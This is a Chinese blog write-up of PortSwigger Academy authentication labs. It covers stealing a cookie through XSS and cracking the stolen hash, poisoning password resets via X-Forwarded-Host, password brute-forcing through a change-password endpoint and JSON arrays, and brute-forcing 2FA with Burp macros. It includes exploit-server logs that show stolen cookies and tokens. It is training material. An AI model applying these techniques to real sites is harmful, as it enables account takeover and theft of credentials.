Burp Web Academy 鉴权漏洞(二)
0x01. PortSwigger Web Security Academy
PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。
本篇文章讲解 Web Security Academy 之中的鉴权漏洞(Authentication Vulnerabilities)章节。
0x02. 鉴权漏洞
2.1 Lab: Offline password cracking
This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s
stay-logged-in
cookie and use it to crack his password. Then, log in ascarlos
and delete his account from the “My account” page.
- Your credentials:
wiener:peter
- Victim’s username:
carlos
根据提示,直接在文章评论区留下盗取 XSS 的 Payload:
1 | <script> |
然后,查看 Exploit Server 的访问日志(https://exploit-0abe00c503e81139808e2aa2017b009d.exploit-server.net/log):
1 | 10.0.3.17 2025-01-13 16:08:21 +0000 "GET /exploit?secret=pnyswSKRPwf4n37sPtNKghfAgHiw49Fl;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" |
可以看到已经回传了 Cookie。现在还不清楚 Cookie 的格式,可以使用 wiener
登录,得到如下 Cookie:
1 | Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw; session=MrQPMCRDQMSXykVd0eMnqIO1RCUQ3jsU |
stay-logged-in
字段还是 base64(username:md5(password))
格式,尝试破解收集到的 Cookie:
1 | Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz -> carlos:26323c16d5f4dabff3bb136f2460a943 |
直接去网上反查 MD5 得到 onceuponatime
。做题的时候我还在想,为什么不直接使用 Cookie 登录后删除账户呢?原来删除的时候还需要二次确认密码。
2.2 Lab: Password reset poisoning via middleware
This lab is vulnerable to password reset poisoning. The user
carlos
will carelessly click on any links in emails that he receives. To solve the lab, log in to Carlos’s account. You can log in to your own account using the following credentials:wiener:peter
. Any emails sent to this account can be read via the email client on the exploit server.
这题对于入门级 Web 🐶来说,着实不会。看了官方答案,发现思路和 Burp Web Academy 访问控制漏洞(二) 有点类似。
首先,使用 wiener
找回密码,在 Email client 会收到一封邮件,其中包含密码重置链接,URL 参数中携带关键的 token 字段。
其次,使用 carlos
找回密码,并添加 X-Forwarded-Host: <exploit server host>
,这是告诉后端服务器请求可能经过了负载均衡服务器(这也是题目中提到的 middleware),原始的 Host 由 X-Forwarded-Host
指明,那么生成的密码重置链接会使用我们指明的 Host。
最后,当 carlos
点击链接时,我们通过 Exploit server 的访问日志即可看到重置密码所使用的 token 字段了。
1 | POST /forgot-password |
1 | 10.0.4.60 2025-01-14 15:43:50 +0000 "GET /forgot-password?temp-forgot-password-token=3x4kvuss485fjbb70vpkd737cpy1n2kl HTTP/1.1" 404 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" |
基于这个 token 来重置 carlos
密码,随后登录账户即可。
2.3 Lab: Password brute-force via password change
This lab’s password change functionality makes it vulnerable to brute-force attacks. To solve the lab, use the list of candidate passwords to brute-force Carlos’s account and access his “My account” page.
- Your credentials:
wiener:peter
- Victim’s username:
carlos
- Candidate passwords
首先登录接口不可以爆破,会有检测:
1 | You have made too many incorrect login attempts. Please try again in 1 minute(s). |
使用 wiener
登录,发现有修改密码的功能,且需要输入原始密码:
- 如果原始密码错误
- 如果两个新密码一致,则返回
302
,重定向到登陆页面 - 如果两个新密码不一致,则提示
Current password is incorrect
- 如果两个新密码一致,则返回
- 如果原始密码正确
- 如果两个新密码一致,则返回
200
,提示Password changed successfully!
- 如果两个新密码不一致,则提示
New passwords do not match
- 如果两个新密码一致,则返回
需要注意的是,我们需要使用 wiener
的有效 Cookie,才可以进行密码修改操作,POST 请求中可以指明 username
字段。如果 Cookie 是无效的,将被 302
重定向到登录页面。也就是说,密码修改接口本身是需要鉴权才可以访问的,只不过逻辑有问题可以爆破任意账户的密码。
2.4 Lab: Broken brute-force protection, multiple credentials per request
This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos’s password, then access his account page.
- Victim’s username:
carlos
- Candidate passwords
访问登陆页面,发现数据是以 JSON 形式提交的:
1 | function jsonSubmit(loginPath) { |
使用 Burp 抓包测试:
1)正常的 JSON 数据
1 | {"username":"carlos","password":"123456"} |
2)使用数组形式,每个元素是一对用户名和密码,返回 500 Internal Server Error
1 | [{"username":"carlos","password":"123451"},{"username":"carlos","password":"123452"}] |
3)仅密码字段使用数组形式,返回 HTTP/2 302 Found
,右键选择 Show response in browser
即可
1 | POST /login HTTP/2 |
2.5 Lab: 2FA bypass using a brute-force attack
This lab’s two-factor authentication is vulnerable to brute-forcing. You have already obtained a valid username and password, but do not have access to the user’s 2FA verification code. To solve the lab, brute-force the 2FA code and access Carlos’s account page.
Victim’s credentials:
carlos:montoya
Note
As the verification code will reset while you’re running your attack, you may need to repeat this attack several times before you succeed. This is because the new code may be a number that your current Intruder attack has already attempted.
给了正确的账号密码,但是要输入四位数字的验证码,如果连续输错则会被登出,感觉自己写代码的话爆破是 OK 的,登出之后重新登录再继续发送验证码。查看官方答案,使用 Burp 的宏也可以完成操作,之前没有用过,照着操作了一遍。
不过不同版本的 Burp Suite 的 UI 有点不太一样,这个 Session Handling Rules
找了好久才找到,在 v2022.9
中,位于 Project options -> Sessions
下。
操作步骤:
- 点击 Session Handling Rules 下的 Add 按钮
- 在 Session handling rule editor 中切换到 Scope,在 URL Scope 选择 Include all URLs
- 在 Session handling rule editor 中切换到 Details,在 Rule Actions 点击 Add > Run a macro
- 在 Select macro 点击 Add 打开 Macro Recorder,选中并添加
GET /login
、POST /login
、GET /login2
- 点击 Test macro 进行测试,确认发送请求 OK,且可以正常进入到输入验证码的页面
- 持续点击 OK 回到 Burp 主界面,录制的宏在 Burp Intruder 中发送请求前会自动触发
- 发送
POST /login2
到 Burp Intruder - 在 Burp Intruder 中,清楚自动设置的字段,仅设置
mfa-code
- 设置好
mfa-code
的 payload 格式为4
位数字 - 把并发请求数设置为
1
,防止并发导致自动登出
之后就可以开始爆破攻击了,不得不说,Burp Suite 是做的真好,还能自动更新表单的 CSRF 字段。不过单线程跑 10000 * 4 次请求,还是挺慢的,而且不一定一次就能跑出结果来。
等到 Intruder 中出现 302
的状态码时,选择 Show response in browser
即可打开成功爆破验证码之后的页面。
0x03. 小结
- 重要操作,最好进行密码二次确认,防止 Cookie 劫持来进行高危操作
- Web 服务器架构要熟悉
- 前端、中间件、后端,除了负载均衡服务器,可能还有 CDN 等,需要清楚可能的完整请求链路是什么
- X-Forwarded-Host
- 可以爆破密码的地方不仅仅在登录页面
- 密码修改接口可能也能够用来爆破密码,需要仔细观察各接口针对不同数据的响应
- 尝试各种不同形式的测试用例
- Burp Suite Session Handling Rules 宏的使用